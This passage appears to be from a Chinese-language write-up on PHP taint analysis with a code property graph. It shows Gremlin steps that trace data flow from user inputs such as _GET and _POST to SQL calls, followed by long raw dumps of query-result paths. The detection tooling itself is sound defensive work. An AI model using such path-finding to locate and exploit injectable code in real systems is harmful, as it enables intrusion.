    { it }
            { it.parents().loop(1) { !isStatement(it.object) } }
});

// A node is a statement node iff its parent is of type TYPE_STMT_LIST
// Note that each node except for the root node has exactly one
// parent, so count() is either 0 or 1
// TODO: we want something more here. In particular, we would also
// like to return 'true' for if/while/for/foreach/... guards (called
// "predicates" in the CFG), and we have to think about what we want
// for statements that enclose other full-fledged statements, e.g., an
// if-statement node which has a body consisting of many other
// statements.
Object.metaClass.isStatement = { it ->
    it.parents().filter { it.type == TYPE_STMT_LIST }.count() == 1
}

Object.metaClass.TYPE_STMT_LIST = 'AST_STMT_LIST' // ...; ...; ...;

.inE('REACHES').outV

REACHES 是DataFlow的数据流向边, 代表了变量的传递

loop的条件为

.loop('sloop'){ it.loops < 10  }{ it.object.containsLowSource().toList() != []}
==>
arr = []
for (i=1;i<10;i++){
    if (it.object.containsLowSource().toList() != []){
        arr.add(it.object)   
    }
}
return arr

containsLowSource 查找该节点是否包含来自如下可控输入的变量

["_GET", "_POST", "_COOKIE", "_REQUEST", "_ENV", "HTTP_ENV_VARS", "HTTP_POST_VARS", "HTTP_GET_VARS"]

Gremlin.defineStep('containsLowSource', [Vertex, Pipe], {
    def attacker_sources2 = ["_GET", "_POST", "_COOKIE", "_REQUEST", "_ENV", "HTTP_ENV_VARS", "HTTP_POST_VARS", "HTTP_GET_VARS"]
    _().ifThenElse { isAssignment(it) }
    {
        it
                .as('assign')
                .as('assign')
                .rval()
                .children()
                .loop('assign') { it.object != null } { true }
                .match { it.type == "AST_VAR" }
                .filter { attacker_sources2.contains(it.varToName().next()) }
    }

    {
        it
                .astNodes()
                .match { it.type == 'AST_VAR' }
                .filter { attacker_sources2.contains(it.varToName().next()) }
                .in('PARENT_OF')
    }
            .dedup()


});

// checks whether a given node represents an assignment
Object.metaClass.isAssignment = { it ->
    it.type == TYPE_ASSIGN ||
            it.type == TYPE_ASSIGN_REF ||
            it.type == TYPE_ASSIGN_OP
}

Object.metaClass.TYPE_ASSIGN = 'AST_ASSIGN' // $buzz = true
Object.metaClass.TYPE_ASSIGN_REF = 'AST_ASSIGN_REF' // $b = &$a
Object.metaClass.TYPE_ASSIGN_OP = 'AST_ASSIGN_OP' // $x += 3

/**
 Traverse to right side of an assignment.
 */
Gremlin.defineStep('rval', [Vertex, Pipe], {
    _().filter { isAssignment(it) }.ithChildren(1)
});

/**
 Traverse to i'th children.

 @param i The child index
 */
Gremlin.defineStep('ithChildren', [Vertex, Pipe], { i ->
    _().children().filter { it.childnum == i }
})

/**
 Return all nodes in the subtrees rooted in the current vertices and
 filter them according to a predicate p.

 @param p The predicate
 */
Gremlin.defineStep('match', [Vertex, Pipe], { p ->
    _().astNodes().filter(p)
})

/**
 Traverse from an AST_VAR node to the name of the variable
 */
Gremlin.defineStep('varToName', [Vertex, Pipe], {
    _().filter { it.type == TYPE_VAR }.ithChildren(0).code
})

路径查询返回结果

('len:', 26)
[<Node graph=u'http://localhost:7474/db/data/' ref=u'node/4832' labels=set([u'AST']) properties={u'childnum': 1, u'funcid': 4802, u'type': u'AST_CALL', u'id': 4832, u'lineno': 9}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/4829' labels=set([u'AST']) properties={u'childnum': 2, u'funcid': 4802, u'type': u'AST_ASSIGN', u'id': 4829, u'lineno': 9}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123318' start=u'node/4821' end=u'node/4829' type=u'REACHES' properties={u'var': u'getid'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/4821' labels=set([u'AST']) properties={u'childnum': 1, u'funcid': 4802, u'type': u'AST_ASSIGN', u'id': 4821, u'lineno': 8}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123319' start=u'node/4814' end=u'node/4821' type=u'REACHES' properties={u'var': u'id'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/4814' labels=set([u'AST']) properties={u'childnum': 0, u'funcid': 4802, u'type': u'AST_ASSIGN', u'id': 4814, u'lineno': 5}>]
--------------------------------------------------
[<Node graph=u'http://localhost:7474/db/data/' ref=u'node/5097' labels=set([u'AST']) properties={u'childnum': 1, u'funcid': 5028, u'type': u'AST_CALL', u'id': 5097, u'lineno': 10}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/5094' labels=set([u'AST']) properties={u'childnum': 3, u'funcid': 5028, u'type': u'AST_ASSIGN', u'id': 5094, u'lineno': 10}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123357' start=u'node/5086' end=u'node/5094' type=u'REACHES' properties={u'var': u'getid'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/5086' labels=set([u'AST']) properties={u'childnum': 2, u'funcid': 5028, u'type': u'AST_ASSIGN', u'id': 5086, u'lineno': 9}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123359' start=u'node/5047' end=u'node/5086' type=u'REACHES' properties={u'var': u'id'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/5047' labels=set([u'AST']) properties={u'childnum': 1, u'funcid': 5028, u'type': u'AST_ASSIGN', u'id': 5047, u'lineno': 6}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123358' start=u'node/5040' end=u'node/5047' type=u'REACHES' properties={u'var': u'id'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/5040' labels=set([u'AST']) properties={u'childnum': 0, u'funcid': 5028, u'type': u'AST_ASSIGN', u'id': 5040, u'lineno': 5}>]
--------------------------------------------------
[<Node graph=u'http://localhost:7474/db/data/' ref=u'node/5167' labels=set([u'AST']) properties={u'childnum': 1, u'funcid': 5137, u'type': u'AST_CALL', u'id': 5167, u'lineno': 9}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/5164' labels=set([u'AST']) properties={u'childnum': 2, u'funcid': 5137, u'type': u'AST_ASSIGN', u'id': 5164, u'lineno': 9}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123376' start=u'node/5156' end=u'node/5164' type=u'REACHES' properties={u'var': u'getid'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/5156' labels=set([u'AST']) properties={u'childnum': 1, u'funcid': 5137, u'type': u'AST_ASSIGN', u'id': 5156, u'lineno': 8}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123377' start=u'node/5149' end=u'node/5156' type=u'REACHES' properties={u'var': u'id'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/5149' labels=set([u'AST']) properties={u'childnum': 0, u'funcid': 5137, u'type': u'AST_ASSIGN', u'id': 5149, u'lineno': 5}>]
--------------------------------------------------
[<Node graph=u'http://localhost:7474/db/data/' ref=u'node/5997' labels=set([u'AST']) properties={u'childnum': 1, u'funcid': 5953, u'type': u'AST_CALL', u'id': 5997, u'lineno': 10}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/5993' labels=set([u'AST']) properties={u'childnum': 3, u'flags': [u'BINARY_BOOL_OR'], u'lineno': 10, u'type': u'AST_BINARY_OP', u'id': 5993, u'funcid': 5953}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123581' start=u'node/5985' end=u'node/5993' type=u'REACHES' properties={u'var': u'query'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/5985' labels=set([u'AST']) properties={u'id': 5985, u'childnum': 2, u'type': u'AST_ASSIGN', u'lineno': 9, u'funcid': 5953}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123588' start=u'node/5972' end=u'node/5985' type=u'REACHES' properties={u'var': u'id', u'taint_src': u'san-sql:'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/5972' labels=set([u'AST']) properties={u'id': 5972, u'childnum': 1, u'type': u'AST_ASSIGN', u'lineno': 7, u'funcid': 5953}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123587' start=u'node/5965' end=u'node/5972' type=u'REACHES' properties={u'var': u'id', u'taint_dst': u'san-sql:'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/5965' labels=set([u'AST']) properties={u'id': 5965, u'childnum': 0, u'type': u'AST_ASSIGN', u'lineno': 5, u'funcid': 5953}>]
--------------------------------------------------
[<Node graph=u'http://localhost:7474/db/data/' ref=u'node/6067' labels=set([u'AST']) properties={u'childnum': 1, u'funcid': 5953, u'type': u'AST_CALL', u'id': 6067, u'lineno': 27}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/6063' labels=set([u'AST']) properties={u'childnum': 2, u'flags': [u'BINARY_BOOL_OR'], u'lineno': 27, u'type': u'AST_BINARY_OP', u'id': 6063, u'funcid': 5953}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123584' start=u'node/5993' end=u'node/6063' type=u'REACHES' properties={u'var': u'result'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/5993' labels=set([u'AST']) properties={u'childnum': 3, u'flags': [u'BINARY_BOOL_OR'], u'lineno': 10, u'type': u'AST_BINARY_OP', u'id': 5993, u'funcid': 5953}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123581' start=u'node/5985' end=u'node/5993' type=u'REACHES' properties={u'var': u'query'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/5985' labels=set([u'AST']) properties={u'id': 5985, u'childnum': 2, u'type': u'AST_ASSIGN', u'lineno': 9, u'funcid': 5953}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123588' start=u'node/5972' end=u'node/5985' type=u'REACHES' properties={u'var': u'id', u'taint_src': u'san-sql:'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/5972' labels=set([u'AST']) properties={u'id': 5972, u'childnum': 1, u'type': u'AST_ASSIGN', u'lineno': 7, u'funcid': 5953}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123587' start=u'node/5965' end=u'node/5972' type=u'REACHES' properties={u'var': u'id', u'taint_dst': u'san-sql:'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/5965' labels=set([u'AST']) properties={u'id': 5965, u'childnum': 0, u'type': u'AST_ASSIGN', u'lineno': 5, u'funcid': 5953}>]
--------------------------------------------------
[<Node graph=u'http://localhost:7474/db/data/' ref=u'node/6164' labels=set([u'AST']) properties={u'childnum': 1, u'funcid': 6133, u'type': u'AST_CALL', u'id': 6164, u'lineno': 9}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/6160' labels=set([u'AST']) properties={u'childnum': 2, u'flags': [u'BINARY_BOOL_OR'], u'lineno': 9, u'type': u'AST_BINARY_OP', u'id': 6160, u'funcid': 6133}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123608' start=u'node/6152' end=u'node/6160' type=u'REACHES' properties={u'var': u'query'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/6152' labels=set([u'AST']) properties={u'childnum': 1, u'funcid': 6133, u'type': u'AST_ASSIGN', u'id': 6152, u'lineno': 8}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123610' start=u'node/6145' end=u'node/6152' type=u'REACHES' properties={u'var': u'id'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/6145' labels=set([u'AST']) properties={u'childnum': 0, u'funcid': 6133, u'type': u'AST_ASSIGN', u'id': 6145, u'lineno': 5}>]
--------------------------------------------------
[<Node graph=u'http://localhost:7474/db/data/' ref=u'node/6725' labels=set([u'AST']) properties={u'id': 6725, u'childnum': 1, u'type': u'AST_CALL', u'lineno': 19, u'funcid': 6565}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/6721' labels=set([u'AST']) properties={u'childnum': 8, u'flags': [u'BINARY_BOOL_OR'], u'lineno': 19, u'type': u'AST_BINARY_OP', u'id': 6721, u'funcid': 6565}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123686' start=u'node/6710' end=u'node/6721' type=u'REACHES' properties={u'var': u'query'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/6710' labels=set([u'AST']) properties={u'id': 6710, u'childnum': 7, u'type': u'AST_ASSIGN', u'lineno': 18, u'funcid': 6565}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123689' start=u'node/6671' end=u'node/6710' type=u'REACHES' properties={u'var': u'name'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/6671' labels=set([u'AST']) properties={u'childnum': 6, u'funcid': 6565, u'type': u'AST_ASSIGN', u'id': 6671, u'lineno': 15}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123688' start=u'node/6660' end=u'node/6671' type=u'REACHES' properties={u'var': u'name'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/6660' labels=set([u'AST']) properties={u'childnum': 5, u'funcid': 6565, u'type': u'AST_ASSIGN', u'id': 6660, u'lineno': 14}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123687' start=u'node/6588' end=u'node/6660' type=u'REACHES' properties={u'var': u'name'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/6588' labels=set([u'AST']) properties={u'childnum': 1, u'funcid': 6565, u'type': u'AST_ASSIGN', u'id': 6588, u'lineno': 6}>]
--------------------------------------------------
[<Node graph=u'http://localhost:7474/db/data/' ref=u'node/6725' labels=set([u'AST']) properties={u'id': 6725, u'childnum': 1, u'type': u'AST_CALL', u'lineno': 19, u'funcid': 6565}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/6721' labels=set([u'AST']) properties={u'childnum': 8, u'flags': [u'BINARY_BOOL_OR'], u'lineno': 19, u'type': u'AST_BINARY_OP', u'id': 6721, u'funcid': 6565}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123686' start=u'node/6710' end=u'node/6721' type=u'REACHES' properties={u'var': u'query'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/6710' labels=set([u'AST']) properties={u'id': 6710, u'childnum': 7, u'type': u'AST_ASSIGN', u'lineno': 18, u'funcid': 6565}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123693' start=u'node/6651' end=u'node/6710' type=u'REACHES' properties={u'var': u'message'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/6651' labels=set([u'AST']) properties={u'childnum': 4, u'funcid': 6565, u'type': u'AST_ASSIGN', u'id': 6651, u'lineno': 11}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123692' start=u'node/6612' end=u'node/6651' type=u'REACHES' properties={u'var': u'message'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/6612' labels=set([u'AST']) properties={u'childnum': 3, u'funcid': 6565, u'type': u'AST_ASSIGN', u'id': 6612, u'lineno': 10}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123691' start=u'node/6599' end=u'node/6612' type=u'REACHES' properties={u'var': u'message', u'taint_src': u'san-sql:'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/6599' labels=set([u'AST']) properties={u'childnum': 2, u'funcid': 6565, u'type': u'AST_ASSIGN', u'id': 6599, u'lineno': 9}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123690' start=u'node/6577' end=u'node/6599' type=u'REACHES' properties={u'var': u'message', u'taint_dst': u'san-sql:'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/6577' labels=set([u'AST']) properties={u'childnum': 0, u'funcid': 6565, u'type': u'AST_ASSIGN', u'id': 6577, u'lineno': 5}>]
--------------------------------------------------
[<Node graph=u'http://localhost:7474/db/data/' ref=u'node/7137' labels=set([u'AST']) properties={u'id': 7137, u'childnum': 1, u'type': u'AST_CALL', u'lineno': 19, u'funcid': 6977}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/7133' labels=set([u'AST']) properties={u'childnum': 8, u'flags': [u'BINARY_BOOL_OR'], u'lineno': 19, u'type': u'AST_BINARY_OP', u'id': 7133, u'funcid': 6977}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123736' start=u'node/7122' end=u'node/7133' type=u'REACHES' properties={u'var': u'query'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/7122' labels=set([u'AST']) properties={u'id': 7122, u'childnum': 7, u'type': u'AST_ASSIGN', u'lineno': 18, u'funcid': 6977}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123739' start=u'node/7083' end=u'node/7122' type=u'REACHES' properties={u'var': u'name'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/7083' labels=set([u'AST']) properties={u'childnum': 6, u'funcid': 6977, u'type': u'AST_ASSIGN', u'id': 7083, u'lineno': 15}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123738' start=u'node/7072' end=u'node/7083' type=u'REACHES' properties={u'var': u'name'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/7072' labels=set([u'AST']) properties={u'childnum': 5, u'funcid': 6977, u'type': u'AST_ASSIGN', u'id': 7072, u'lineno': 14}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123737' start=u'node/7000' end=u'node/7072' type=u'REACHES' properties={u'var': u'name'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/7000' labels=set([u'AST']) properties={u'childnum': 1, u'funcid': 6977, u'type': u'AST_ASSIGN', u'id': 7000, u'lineno': 6}>]
--------------------------------------------------
[<Node graph=u'http://localhost:7474/db/data/' ref=u'node/7137' labels=set([u'AST']) properties={u'id': 7137, u'childnum': 1, u'type': u'AST_CALL', u'lineno': 19, u'funcid': 6977}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/7133' labels=set([u'AST']) properties={u'childnum': 8, u'flags': [u'BINARY_BOOL_OR'], u'lineno': 19, u'type': u'AST_BINARY_OP', u'id': 7133, u'funcid': 6977}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123736' start=u'node/7122' end=u'node/7133' type=u'REACHES' properties={u'var': u'query'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/7122' labels=set([u'AST']) properties={u'id': 7122, u'childnum': 7, u'type': u'AST_ASSIGN', u'lineno': 18, u'funcid': 6977}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123743' start=u'node/7063' end=u'node/7122' type=u'REACHES' properties={u'var': u'message'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/7063' labels=set([u'AST']) properties={u'childnum': 4, u'funcid': 6977, u'type': u'AST_ASSIGN', u'id': 7063, u'lineno': 11}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123742' start=u'node/7024' end=u'node/7063' type=u'REACHES' properties={u'var': u'message'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/7024' labels=set([u'AST']) properties={u'childnum': 3, u'funcid': 6977, u'type': u'AST_ASSIGN', u'id': 7024, u'lineno': 10}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123741' start=u'node/7011' end=u'node/7024' type=u'REACHES' properties={u'var': u'message', u'taint_src': u'san-sql:'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/7011' labels=set([u'AST']) properties={u'childnum': 2, u'funcid': 6977, u'type': u'AST_ASSIGN', u'id': 7011, u'lineno': 9}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123740' start=u'node/6989' end=u'node/7011' type=u'REACHES' properties={u'var': u'message', u'taint_dst': u'san-sql:'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/6989' labels=set([u'AST']) properties={u'childnum': 0, u'funcid': 6977, u'type': u'AST_ASSIGN', u'id': 6989, u'lineno': 5}>]
--------------------------------------------------
[<Node graph=u'http://localhost:7474/db/data/' ref=u'node/7320' labels=set([u'AST']) properties={u'id': 7320, u'childnum': 1, u'type': u'AST_CALL', u'lineno': 17, u'funcid': 7184}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/7316' labels=set([u'AST']) properties={u'childnum': 6, u'flags': [u'BINARY_BOOL_OR'], u'lineno': 17, u'type': u'AST_BINARY_OP', u'id': 7316, u'funcid': 7184}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123755' start=u'node/7305' end=u'node/7316' type=u'REACHES' properties={u'var': u'query'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/7305' labels=set([u'AST']) properties={u'id': 7305, u'childnum': 5, u'type': u'AST_ASSIGN', u'lineno': 16, u'funcid': 7184}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123757' start=u'node/7266' end=u'node/7305' type=u'REACHES' properties={u'var': u'name'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/7266' labels=set([u'AST']) properties={u'childnum': 4, u'funcid': 7184, u'type': u'AST_ASSIGN', u'id': 7266, u'lineno': 13}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123756' start=u'node/7207' end=u'node/7266' type=u'REACHES' properties={u'var': u'name'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/7207' labels=set([u'AST']) properties={u'childnum': 1, u'funcid': 7184, u'type': u'AST_ASSIGN', u'id': 7207, u'lineno': 6}>]
--------------------------------------------------
[<Node graph=u'http://localhost:7474/db/data/' ref=u'node/7320' labels=set([u'AST']) properties={u'id': 7320, u'childnum': 1, u'type': u'AST_CALL', u'lineno': 17, u'funcid': 7184}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/7316' labels=set([u'AST']) properties={u'childnum': 6, u'flags': [u'BINARY_BOOL_OR'], u'lineno': 17, u'type': u'AST_BINARY_OP', u'id': 7316, u'funcid': 7184}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123755' start=u'node/7305' end=u'node/7316' type=u'REACHES' properties={u'var': u'query'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/7305' labels=set([u'AST']) properties={u'id': 7305, u'childnum': 5, u'type': u'AST_ASSIGN', u'lineno': 16, u'funcid': 7184}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123760' start=u'node/7227' end=u'node/7305' type=u'REACHES' properties={u'var': u'message'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/7227' labels=set([u'AST']) properties={u'childnum': 3, u'funcid': 7184, u'type': u'AST_ASSIGN', u'id': 7227, u'lineno': 10}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123759' start=u'node/7218' end=u'node/7227' type=u'REACHES' properties={u'var': u'message'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/7218' labels=set([u'AST']) properties={u'childnum': 2, u'funcid': 7184, u'type': u'AST_ASSIGN', u'id': 7218, u'lineno': 9}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/123758' start=u'node/7196' end=u'node/7218' type=u'REACHES' properties={u'var': u'message'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/7196' labels=set([u'AST']) properties={u'childnum': 0, u'funcid': 7184, u'type': u'AST_ASSIGN', u'id': 7196, u'lineno': 5}>]
--------------------------------------------------
[<Node graph=u'http://localhost:7474/db/data/' ref=u'node/8770' labels=set([u'AST']) properties={u'id': 8770, u'childnum': 1, u'type': u'AST_CALL', u'lineno': 20, u'funcid': 8611}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/8766' labels=set([u'AST']) properties={u'childnum': 9, u'flags': [u'BINARY_BOOL_OR'], u'lineno': 20, u'type': u'AST_BINARY_OP', u'id': 8766, u'funcid': 8611}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/124065' start=u'node/8755' end=u'node/8766' type=u'REACHES' properties={u'var': u'query'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/8755' labels=set([u'AST']) properties={u'id': 8755, u'childnum': 8, u'type': u'AST_ASSIGN', u'lineno': 19, u'funcid': 8611}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/124074' start=u'node/8652' end=u'node/8755' type=u'REACHES' properties={u'var': u'user'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/8652' labels=set([u'AST']) properties={u'childnum': 3, u'funcid': 8611, u'type': u'AST_ASSIGN', u'id': 8652, u'lineno': 10}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/124073' start=u'node/8643' end=u'node/8652' type=u'REACHES' properties={u'var': u'user'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/8643' labels=set([u'AST']) properties={u'childnum': 2, u'funcid': 8611, u'type': u'AST_ASSIGN', u'id': 8643, u'lineno': 9}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/124072' start=u'node/8636' end=u'node/8643' type=u'REACHES' properties={u'var': u'user'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/8636' labels=set([u'AST']) properties={u'childnum': 1, u'funcid': 8611, u'type': u'AST_ASSIGN', u'id': 8636, u'lineno': 8}>]
--------------------------------------------------
[<Node graph=u'http://localhost:7474/db/data/' ref=u'node/8770' labels=set([u'AST']) properties={u'id': 8770, u'childnum': 1, u'type': u'AST_CALL', u'lineno': 20, u'funcid': 8611}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/8766' labels=set([u'AST']) properties={u'childnum': 9, u'flags': [u'BINARY_BOOL_OR'], u'lineno': 20, u'type': u'AST_BINARY_OP', u'id': 8766, u'funcid': 8611}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/124065' start=u'node/8755' end=u'node/8766' type=u'REACHES' properties={u'var': u'query'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/8755' labels=set([u'AST']) properties={u'id': 8755, u'childnum': 8, u'type': u'AST_ASSIGN', u'lineno': 19, u'funcid': 8611}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/124064' start=u'node/8746' end=u'node/8755' type=u'REACHES' properties={u'var': u'pass', u'taint_src': u'san-string:'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/8746' labels=set([u'AST']) properties={u'childnum': 7, u'funcid': 8611, u'type': u'AST_ASSIGN', u'id': 8746, u'lineno': 16}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/124063' start=u'node/8707' end=u'node/8746' type=u'REACHES' properties={u'var': u'pass', u'taint_dst': u'san-string:'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/8707' labels=set([u'AST']) properties={u'childnum': 6, u'funcid': 8611, u'type': u'AST_ASSIGN', u'id': 8707, u'lineno': 15}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/124062' start=u'node/8698' end=u'node/8707' type=u'REACHES' properties={u'var': u'pass'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/8698' labels=set([u'AST']) properties={u'childnum': 5, u'funcid': 8611, u'type': u'AST_ASSIGN', u'id': 8698, u'lineno': 14}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/124061' start=u'node/8691' end=u'node/8698' type=u'REACHES' properties={u'var': u'pass'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/8691' labels=set([u'AST']) properties={u'childnum': 4, u'funcid': 8611, u'type': u'AST_ASSIGN', u'id': 8691, u'lineno': 13}>]
--------------------------------------------------
[<Node graph=u'http://localhost:7474/db/data/' ref=u'node/9525' labels=set([u'AST']) properties={u'id': 9525, u'childnum': 1, u'type': u'AST_CALL', u'lineno': 15, u'funcid': 9397}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/9521' labels=set([u'AST']) properties={u'childnum': 6, u'flags': [u'BINARY_BOOL_OR'], u'lineno': 15, u'type': u'AST_BINARY_OP', u'id': 9521, u'funcid': 9397}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/124202' start=u'node/9510' end=u'node/9521' type=u'REACHES' properties={u'var': u'query'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/9510' labels=set([u'AST']) properties={u'id': 9510, u'childnum': 5, u'type': u'AST_ASSIGN', u'lineno': 14, u'funcid': 9397}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/124210' start=u'node/9416' end=u'node/9510' type=u'REACHES' properties={u'var': u'user'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/9416' labels=set([u'AST']) properties={u'childnum': 1, u'funcid': 9397, u'type': u'AST_ASSIGN', u'id': 9416, u'lineno': 6}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/124209' start=u'node/9409' end=u'node/9416' type=u'REACHES' properties={u'var': u'user'}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/9409' labels=set([u'AST']) properties={u'childnum': 0, u'funcid': 9397, u'type': u'AST_ASSIGN', u'id': 9409, u'lineno': 5}>]
--------------------------------------------------
[<Node graph=u'http://localhost:7474/db/data/' ref=u'node/9525' labels=set([u'AST']) properties={u'id': 9525, u'childnum': 1, u'type': u'AST_CALL', u'lineno': 15, u'funcid': 9397}>,
 <Node graph=u'http://localhost:7474/db/data/' ref=u'node/9521' labels=set([u'AST']) properties={u'childnum': 6, u'flags': [u'BINARY_BOOL_OR'], u'lineno': 15, u'type': u'AST_BINARY_OP', u'id': 9521, u'funcid': 9397}>,
 <Relationship graph=u'http://localhost:7474/db/data/' ref=u'relationship/124202' start=u'node/9510' end=u'node/9521' type=u'REACHES' properties={u'var': u'query'}>,
